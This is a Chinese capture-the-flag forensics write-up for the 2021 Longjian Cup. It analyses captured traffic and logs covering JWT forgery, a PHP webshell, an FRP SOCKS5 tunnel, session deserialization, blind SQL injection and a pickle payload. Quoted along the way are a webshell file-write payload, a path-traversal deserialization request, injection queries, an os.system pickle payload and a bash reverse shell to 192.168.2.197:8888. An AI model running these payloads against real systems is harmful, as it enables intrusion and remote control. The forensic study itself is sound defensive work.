陇剑杯2021wp
[陇剑杯 2021]签到
问题:此时正在进行的可能是______协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)。得到的flag请使用NSSCTF{}格式提交。
解题:
用wireshark打开附件,因为是需要找什么协议的攻击,答案其实就那么几个,我们可以直接去协议统计那里看一下
查看通过协议分类的包,比起翻海量的包一个个看,统计结果更为明了
协议分级统计表
Wireshark 的 协议分级统计表(Protocol Hierarchy Statistics)是通过 协议栈分层解析 生成的,其分级逻辑遵循网络通信的 OSI 模型 或 TCP/IP 协议栈,从底层到上层逐层拆解数据包。
协议分级的核心逻辑
(1) 分层依据
Wireshark 会按以下顺序解析每个数据包,并统计各层协议的占比:
1 | 1. **物理层**(如 Ethernet、Wi-Fi) |
(2) 统计规则
按分组百分比
:统计某协议在所有数据包中出现的频率。
- 例如:
TCP 占 99.45%
表示 99.45% 的包包含 TCP 头。
- 例如:
按字节百分比
:统计某协议在所有字节中的占比(含下层协议头开销)。
- 例如:
HTTP 占 56.3%
表示 HTTP 及其载荷占总流量的 56.3%。
- 例如:
这里可以发现流量包主要是TCP协议,且应用层的协议主要是HTTP(HTTP的字节占比最大),因此判断是HTTP协议的攻击。
所以最终的flag
1 | NSSTCTF{http} |
[陇剑杯 2021]jwt(问1)
问题:昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
该网站使用了______认证方式。(如有字母请全部使用小写)。得到的flag请使用NSSCTF{}格式提交。
解题:
因为是网站的认证,所以我们尝试追踪HTTP流量
翻啊翻看到有token
1 | token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc |
但是这个token怎么来的呢?我又去往上翻了一下
可以看到这里在传入用户名和身份参数之后服务器返回的响应包中就会产生一个token,也就是说这个其实就是基于token的登录验证,那么攻击者也就可以利用这个token去伪造身份尝试垂直越权登录
token的话通常是用base64进行编码的,我们拿去解码一下看看
可以看到是JWT认证,且整个token格式也满足JWT认证格式
JWT认证格式
1 | Header.Payload.Signature |
所以最终的flag
1 | NSSTCTF{jwt} |
[陇剑杯 2021]jwt(问2)
问题:昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)。得到的flag请使用NSSCTF{}格式提交。
解题:
因为这里是通过token中的jwt去认证的,如果需要绕过验证的话就是伪造token了,那我们直接用过滤器搜索带有token的流量包
1 | http contains "token" |
然后我们继续追踪HTTP流去分析他的流量包
根据jwt认证的格式,第二段就是我们的认证内容,也就是payload,拿去解密一下看看什么内容
id是10086,username是admin,但是答案不是这个,我们继续往下翻
这里看到攻击者执行了whoami的命令,此时的id和username也是10086#admin,但是响应包中显示没有权限,所以并没有绕过这个验证,但是此时我们知道攻击者会有习惯去执行whoami命令去检验身份,那我们可以直接搜索带有这个命令的流量包
此时就只剩下四个包了,那么就省去了很多工作
最终在第三个包下面发现了
返回了root,说明此时的身份就是root,也就是绕过了身份验证拿到root了,那我们把这个token拿去解码一下看看id和username就可以了
1 | {"id":10087,"MapClaims":{"username":"admin"}} |
所以flag就是
1 | NSSCTF{10087#admin} |
[陇剑杯 2021]jwt(问3)
问题:昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客获取webshell之后,权限是______?。得到的flag请使用NSSCTF{}格式提交。
其实上题就给出了答案,就是root权限,直接交就行
[陇剑杯 2021]jwt(问4)
问题:昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)。得到的flag请使用NSSCTF{}格式提交。
解题:
既然是恶意上传的文件,那么请求包肯定是POST方法的,并且肯定是需要在绕过身份验证之后才能上传恶意文件的,那我们先找到刚刚的数据包并看看时间戳
就是选中的这个数据包,那我们继续往下翻找
可以看到这里攻击者在传入命令进行尝试
这里在base64解码之后用一个重定向符将内容写入/tmp/1.c中,我们看看这个恶意文件的内容是什么
在之后的请求包中就看到攻击者试图读取写入文件的内容,丢给ai分析一下
确定了这个就是恶意文件,所以最终的flag就是
1 | NSSCTF{1.c} |
[陇剑杯 2021]jwt(问5)
问题:昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)。得到的flag请使用NSSCTF{}格式提交。
解题:
需要找到一个so文件,我们继续往下看一下
发现攻击者写入了一个makefile文件
这段代码是一个 Makefile 片段,用于编译生成一个名为 looter.so
的动态链接库(共享库),其源代码文件是 looter.c
。
在之后的数据包中可以看到攻击者执行了make命令并且tmp目录下产生了一个so文件
所以这个looter.so可能就是攻击者在服务器上编译的恶意so文件,flag就是
[陇剑杯 2021]jwt(问6)
问题:昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)。得到的flag请使用NSSCTF{}格式提交。
解题:
也是在拿到权限后进行的操作,沿着往下翻,发现了以下内容
所以这里修改的文件就是/etc/pam.d/common-auth,flag就是
1 | NSSCTF{/etc/pam.d/common-auth} |
[陇剑杯 2021]webshell(问1)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客登录系统使用的密码是_____________。。得到的flag请使用NSSCTF{}格式提交。
解题:
因为是网站被挂马,所以我们分析HTTP流量就行,因为是在登录系统使用密码,所以一般来说是POST的方式传入登录密码,不过也有可能是GET啊,但是常规来说GET传入风险很大,所以往往都是POST表单输入
然后我们用过滤器查找POST请求的数据包
1 | http.request.method == "POST" |
然后看到一个数据包资源路径中有login
估计这里就是登录页面,然后看到在传入username和password后有unicode加密的msg回显,解密后是登录成功,猜测这里就是登录使用的密码了
1 | NSSCTF{Admin123!@#} |
[陇剑杯 2021]webshell(问2)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)。得到的flag请使用NSSCTF{}格式提交。
解题:
既然是修改了日志文件的话,肯定是在登录成功后才能进行的操作,所以我们在登录成功的数据包后面开始找就行(因为是修改文件,所以也是POST请求的)
这里看到了写入了一句话木马,但是回显404,估计是没写进去
这里的话是日志注入的方法,可以看到返回200,并且在后面几个请求包中分别执行了其他命令
说明修改的日志文件就是data/Runtime/Logs/Home/21_08_07.log,但是这里是相对路径,题目要求是绝对路径,因为是网站的日志文件,网站默认路径是/var/www/html,所以拼接一下就是绝对路径了,最终的flag就是
1 | NSSCTF{/var/www/html/data/Runtime/Logs/Home/21_08_07.log} |
或者往下翻可以看到一个数据包
这里通过命令写入文件,文件的绝对路径就是/var/www/html,结合网站的日志文件的相对路径拼接就是日志文件的绝对路径了
[陇剑杯 2021]webshell(问3)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客获取webshell之后,权限是______?得到的flag请使用NSSCTF{}格式提交。
解题:
我们先看看上面一题的最后的数据包中写入1.php文件的内容
经典的一句话木马
因为上传木马的操作是成功了的,那么此时就是获取到了webshell权限,那么就可以通过利用木马去执行操作,所以我们用过滤器
1 | http contains "1.php" |
筛选出来后慢慢翻一下
看到对aaa传入了大量字符,我们解析一下
1 | <?php |
这个脚本的话其实就是获取一些服务器的基本信息并做了一些隐藏的功能
可以看到回显了当前用户的信息就是www-data,这是常见的用户名,直接提交就行
1 | NSSCTF{www-data} |
不过我这个估计不是常规解啊,预期解是通过搜查whoami命令去查看
第二条
[陇剑杯 2021]webshell(问4)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)。得到的flag请使用NSSCTF{}格式提交。
解题:
这个在上面就看到了,是1.php文件,所以flag就是
1 | NSSCTF{1.php} |
[陇剑杯 2021]webshell(问5)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)。得到的flag请使用NSSCTF{}格式提交。
解题:上传文件的话,首要的还是搜查POST请求的数据包
在第37个流和第39个流中
都是执行了查看目录文件的命令,但是后者多出了一个frpc.ini,那么问题就出现在第38个流中
分析一下代码
1 | aaa=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$f=base64_decode(substr($_POST["j68071301598f"],2));$c=$_POST["xa5d606e67883a"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
这里有两个参数,&j68071301598f=FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==的值拿去解码可以得到一个文件路径(需要去掉前两个字符)
然后我们看看主要攻击逻辑
1 | $f = base64_decode(substr($_POST["j68071301598f"],2)); // 解码目标文件路径 |
所以第二个参数的值就是需要写入/var/www/html/frpc.ini的文件内容,我们解码看看文件内容
1 | [common] |
就是设置反向代理搭建隧道的一个配置文件,通过FRP建立反向代理隧道,将受害服务器变成SOCKS5代理
那么代理工具名字就是frpc
1 | NSSCTF{frpc} |
[陇剑杯 2021]webshell(问6)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客代理工具的回连服务端IP是_____________。得到的flag请使用NSSCTF{}格式提交。
解题:
需要找到回连服务端ip,首先得知道什么是回连服务端IP
回连服务端IP是什么
回连服务端IP(也称为 C2(Command & Control)服务器IP)是黑客控制的远程服务器地址,用于与被入侵的计算机(受害机)建立隐蔽通信通道,从而远程操控目标设备。
黑客在攻击过程中,通常需要让受害机(被入侵的服务器/主机)主动连接自己的服务器,而不是直接攻击目标(因为防火墙会拦截外部攻击)。这种方式称为 反向连接(Reverse Connection),因为反向代理的话是受害机器去连接攻击机,所以这里就是回连,那服务端也就是我们的攻击机,上一题的配置文件内容中已经提到了攻击机的ip,直接交就是
1 | NSSCTF{192.168.239.123} |
[陇剑杯 2021]webshell(问7)
问题:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd)。得到的flag请使用NSSCTF{}格式提交。
解题:这个在配置文件中也是有的
1 | NSSCTF{0HDFt16cLQJ#JTN276Gp} |
[陇剑杯 2021]日志分析(问1)
问题:单位某应用程序被攻击,请分析日志,进行作答:
网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)。得到的flag请使用NSSCTF{}格式提交。
解题:
先看看日志文件的构成吧
日志文件的结构
1 | [客户端IP] - [用户名] [时间戳] "[请求方法] [URL] [协议]" [状态码] [响应大小] "[来源页]" "[User-Agent]" |
然后在日志文件中可以看到似乎攻击者是做了一个目录扫描的操作
例如这里200状态码说明该路径是存在的,那我们翻找一下是否存在源码泄露,源码泄露的方式无疑就几种,.git源码泄露,SVN泄露,www.zip压缩文件等,继续往下翻就可以看到
存在www.zip备份文件,估计就是源码泄露文件了,拿去提交就行
1 | NSSCTF{www.zip} |
[陇剑杯 2021]日志分析(问2)
问题:单位某应用程序被攻击,请分析日志,进行作答:
分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。得到的flag请使用NSSCTF{}格式提交。
解题:
既然是tmp目录中的,那么日志中的数据肯定会包含tmp字样,直接搜就有
1 | 172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0" |
有url编码,拿去解码一下
1 | 172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0" |
很经典的session反序列化,那么这里的话文件名就显而易见了
1 | NSSCTF{sess_car} |
[陇剑杯 2021]日志分析(问3)
问题:单位某应用程序被攻击,请分析日志,进行作答:
分析攻击流量,黑客使用的是______类读取了秘密文件。得到的flag请使用NSSCTF{}格式提交。
解题:也是在上面一题的payload中,了解一下这段payload就明白了,这里是使用 SplFileObject
内置类去读取敏感文件(如 /flag
)。
1 | NSSCTF{SplFileObject} |
[陇剑杯 2021]SQL注入(问1)
问题:某应用程序被攻击,请分析日志后作答:
黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)。得到的flag请使用NSSCTF{}格式提交。
解题:先打开日志文件看一下
然后翻看了一下啊,基本上都是一种注入手法那就是布尔盲注
1 | NSSCTF{布尔盲注} |
[陇剑杯 2021]SQL注入(问2)
问题:某应用程序被攻击,请分析日志后作答:
黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column)。得到的flag请使用NSSCTF{}格式提交。
解题:熟悉sql注入的都知道,在进行常规注入的时候都会用到库名,表名和字段名,直接搜就行
1 | table_schema |
因为常规注入的时候会用where语句去指定数据库或者数据表,所以直接搜就行
1 | 数据库名:sqli |
拿去交就行
1 | NSSCTF{sqli#flag#flag} |
[陇剑杯 2021]SQL注入(问3)
问题:某应用程序被攻击,请分析日志后作答:
黑客最后获取到的flag字符串为_____________。得到的flag请使用NSSCTF{}格式提交。
解题:
那就是爆数据了,那我们从这里开始找
因为之前我们有了解到,在每条数据中都会有响应大小的字样,也就是类似429,425,424等就是响应大小,那么我们可以根据这个去潘判断字符判断是否正确,因为这里用了if语句,条件满足的情况只有一种,那我们中响应大小跟其他的相差很大的就是正确的了
这个明显差别很大,并且字符在我们预料之内,我们可以写脚本这样可以更快一点检索出来
1 | import re |
1 | flag{deddcd67-bcfd-487e-b940-1217e668c7db} |
这里的话其实第一个就是捕获所有的爆数据的查询语句,第二个就是一个很好的思路
假设我们
1 | arr = [('1','a'), ('1','b'), ('2','x')] |
如果查询语句执行
1 | 1 and if(substr((select flag from sqli.flag),1,1) = 'b',1,(select table_name from information_schema.tables)) |
如果b是对的,那么就不会再使用substr((select flag from sqli.flag),1,1)
,而是转向第二个字符进行注入
1 | 1 and if(substr((select flag from sqli.flag),2,1) = 'x',1,(select table_name from information_schema.tables)) |
所以
1 | 若i=0,arr[0][0] = '1',arr[1][0] = '1' → 不满足条件,跳过。 |
然后最终的flag就是
1 | NSSCTF{deddcd67-bcfd-487e-b940-1217e668c7db} |
[陇剑杯 2021]简单日志分析(问1)
问题:某应用程序被攻击,请分析日志后作答:
黑客攻击的参数是______。(如有字母请全部使用小写)。得到的flag请使用NSSCTF{}格式提交。
解题:
打开看到一堆404,猜测是在扫描目录,然后发现一个user参数
有点像pickle反序列化,但是user参数肯定是对的
1 | NSSCTF{user} |
[陇剑杯 2021]简单日志分析(问2)
问题:某应用程序被攻击,请分析日志后作答:
黑客查看的秘密文件的绝对路径是_____________。得到的flag请使用NSSCTF{}格式提交。
解题:
全部看完了一共三个对user参数的操作
1 | 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGcwCmxwMgowKEkwCnRwMwowKGczCkkwCmRwNAowY29zCnN5c3RlbQpwNQowZzUKKGcxCnRSLg== HTTP/1.1" 500 - |
这三个payload拿去解码一下
1 | I0 |
1 | I0 |
1 | I0 |
到第二个就可以看到他在执行的操作了
1 | os.system('cat /Th4s_IS_VERY_Import_Fi1e') |
那文件的绝对路径就有了
1 | NSSCTF{/Th4s_IS_VERY_Import_Fi1e} |
[陇剑杯 2021]简单日志分析(问3)
问题:某应用程序被攻击,请分析日志后作答:
黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口”,例如127.0.0.1:2333)。得到的flag请使用NSSCTF{}格式提交。
解题:
在上面第三个payload中就可以看到反弹shell的操作了
1 | bash -i >& /dev/tcp/192.168.2.197/8888 0>&1 |
1 | NSSCTF{192.168.2.197:8888} |